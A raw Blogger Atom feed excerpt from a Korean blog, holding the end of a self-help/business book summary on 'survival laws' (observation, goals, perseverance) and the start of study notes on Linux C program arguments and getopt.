font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 잘 보면 보인다.&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- “움직일 때는 때가 중요하며, 머무르기에는 낮은 곳이 좋다.”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 히딩크 감독: “한국 선수들은 개인기와 체력은 괜찮은데 정신력이 문제다.”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  =&gt;관찰이 달라지면 모든 것이 달라짐=&gt;한국식 축구를 버리고 선진 축구를 접목함&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 로버트 기요사키: “집을 제대로 사려면 조깅부터 시작하라.”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  =&gt;날마다 꾸준하게 살펴보면 약간의 변화도 포착할 수 있으며 집이 가진 가치를 제대로 평가할 수 있음&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 숨은 그림 패턴을 찾아라&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 새들은 사냥할 때 동그랗게 말린 잎이나 손상된 잎을 이용&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;   =&gt; 애벌레들이 나뭇잎을 갉아먹고 있다는 표시&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 누른도요새: 지렁이가 나오도록 부리를 두들겨 소나기가 땅을 치는 듯한 진동을 만들어냄&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 1990년 전후 국내 중소기업인: 베이징과 상하이에서 살이 오르기 시작한 개와 고양이를 관찰한 후 투자 결정 &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 패턴 속에 본질이 있다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 1961년 KBS가 국내 처음으로 TV 방송을 시작했을 때 송신탑 설치 장소 및 방법을  위해 고액의 일본 기술자 초청 =&gt;한 달 동안 천하태평 후 마지막날 리포트 제출 =&gt;  리포트에는 송신탑이 설치되어야 할 전국 각지의 지점들이 명확하게 그려져 있었음=&gt; 송신탑 설치 지점으로 선택한 곳은 모두 조선시대 봉화대가 있었던 곳&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 스타벅스: 매장에 무선인터넷 설치 =&gt;고객들의 커다란 호응&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 맥도널드: 매장에 무선인터넷 설치 =&gt;실패&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  Why? =&gt; 맥도널드의 비즈니스 본질은 ‘빨리 먹고 나가게 하는 것’&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 적은 내부에 있고, 기회는 바깥에 있다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 해답은 바깥 어디에 있는가? =&gt; “고객이 있는 곳이 현장이다.”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 코닥: 일회용카메라 사업 출시 전 격렬한 내부 반대 =&gt; 대성공 &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  Why? =&gt; 고객은 품질보다 사진을 쉽게 찍을 수 있다는 점에 매력을 느꼈기 때문&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- MIT 대학: 순수 기초학문이 아닌 응용학문에 중점=&gt;산업현장의 흐름을 면밀하게 파악할 수 있었음=&gt;부자교수들이 세계에서 가장 많음&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;□ 생존의 법칙 2: 목표설정 &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 먹이는 구체적이고 명확해야 한다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 자신의 목표를 정확하게 기록하는 목표의 객관화가 필수&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 목표를 구체적으로 기록하는 사람은 전세계 인구의 3% =&gt; 모두가 고액연봉자&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 브라이언 트레이시의 3가지 방법&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  첫째, 간절히 원해야 한다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  둘째, 왜 이 목표를 선택했는지 명확하게 설명할 수 있어야 한다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  셋째, 마감시간을 정해야 한다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;□ 생존의 법칙 3: 목표물에 접근하기&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 얼마나 노력해야 하는가?&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 실패한 사람들은 쉽게 접근하며, 성공한 사람들은 어렵게 접근함&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 실패한 호랑이는 성큼성큼 보란 듯이 뛰어가며, 성공한 호랑이는 혹시 바스락거리는 소리라도 낼까 싶어 살금살금 접근함&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 실패한 이들은 “최선을 다했다”고 하며, 성공한 사람들은 “뭔가 다르게 하려고 노력했다”고 말함&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;□ 생존의 법칙 4: 승부의 순간&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 선택과 집중&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 긴장하면 소화가 안 되는 이유: 심장과 근육, 손, 발의 힘이 필요해서 뇌는 이곳에 혈액을 우선적으로 공급하며 위장에는 공급을 줄이기 때문&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 밥을 많이 먹으면 하품이 나오는 이유: 소화를 시키기 위해 위장에 혈액을 많이 보냄으로써 다른 신체기관의 피가 평소보다 모라지 때문&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 한우물 경영: 코스닥 상장 후 10년 후 살아남은 기업은 첫 상장한 343개 기업 중 134개=&gt; 이 중 10년 연속 순익을 달성한 기업은 10%에 불과한 41개뿐&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 13pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;□ 생존의 법칙 5: 마무리 &amp;amp; 새로운 시작 &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 잘 나가는 사람은 왜 겸손해야 할까?&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 오프라 윈프리: “어떻게 토크쇼 시청률 1위를 그렇게 오랫동안 유지할 수 있느냐?”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;  =&gt; “나는 항상 넘버 텐인 것처럼 행동한다. 내가 넘버원이 될 수 있었던 이유는 바로 여기에 있다. 1등이라고 생각하는 순간, 이미 10등이 되어버릴지 모르는 일이다.”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 성공한 사람들은 항상 스스로를 위기 상황에 놓음&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 13pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 실패는 자연 현상이다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 성공한 세일즈맨과 실패한 세일즈맨의 차이&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt; =&gt;세일즈맨 중 단 한 번 권유한 다음 포기한 이들은 48%, 두 번 권유한 사람은 25%, &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;   세 번 권유한 사람은 15%, 세 번을 퇴짜 맞고도 다시 한 번 권유한 사람은 12%였음. 이 12%의 세일즈맨이 전체 판매량의 80% 이상을 차지함&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 나는 누구인가?&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- “자신의 능력과 약점을 제대로 알지 못하면 실패할 일에 희망을 걸고, 부적절하거나  아주 나쁜 상황에서 일을 시작하게 된다. 스스로를 성공할 수 있는 위치에 배정하는 것이 무엇보다 중요하다. 그래야만 성공할 수 있다.”&lt;/span&gt;&lt;/p&gt;       &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-9132409520174611792?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/9132409520174611792/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/9132409520174611792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/9132409520174611792'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post.html' title='사자도 굶어 죽는다'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-7745138808004112704</id><published>2009-03-04T00:26:00.000-08:00</published><updated>2009-03-04T00:28:25.163-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>5Day Study</title><content type='html'>5Day Study&lt;br /&gt;[[[[[리눅스(Linux) 환경(environment)]]]]]&lt;br /&gt;프로그램 인자&lt;br /&gt;main은 암시적으로 반환값은 int임&lt;br /&gt;main() = int main(int arc, char *argv[])&lt;br /&gt;&lt;br /&gt;프로그램 인자값 표시 예제:&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt; int arg;&lt;br /&gt; &lt;br /&gt; for(arg = 0; arg &amp;lt  argc; arg++)&lt;br /&gt; {&lt;br /&gt;  if(argv[arg][0] == '-')&lt;br /&gt;   printf("option: %s\n", argv[arg]+1);&lt;br /&gt;  else&lt;br /&gt;   printf("argument %d: %s\n", arg, argv[arg]);&lt;br /&gt; }&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;$ ./args -i -lr 'hi there' -f fred.c&lt;br /&gt;argment 0: args&lt;br /&gt;option: i&lt;br /&gt;option: lr&lt;br /&gt;argument 3: ya there&lt;br /&gt;option: f&lt;br /&gt;argument 5: fred.c&lt;br /&gt;&lt;br /&gt;getopt =&gt; 리눅스 arg값의 가이드라인을 지킬 수 있도록 도와주는 함수(반환값: 더 이상 처리할 옵션이 없을 때 -1, 인식할 수 없는 옵션의 경우 ?)&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;int getopt(int argc, char *const argv[], const char *optstring);&lt;br /&gt;extern char *optarg;&lt;br /&gt;extern int optind, opterr, optopt;&lt;br /&gt;POSIX 명세에는 opterr 변수가 0이 아니면 getopt는 에러 메시지를 stderr에 출력한다고 나와있다&lt;br /&gt;&lt;br /&gt;getopt 예: 214페이지 참조&lt;br /&gt;&lt;br /&gt;getopt_long =&gt; 이중 대시로 시작하는 소위 긴 인자를 받아들임(GNU C)&lt;br /&gt;$ ./longopt --initialize&lt;br /&gt;&lt;br /&gt;putenv =&gt; 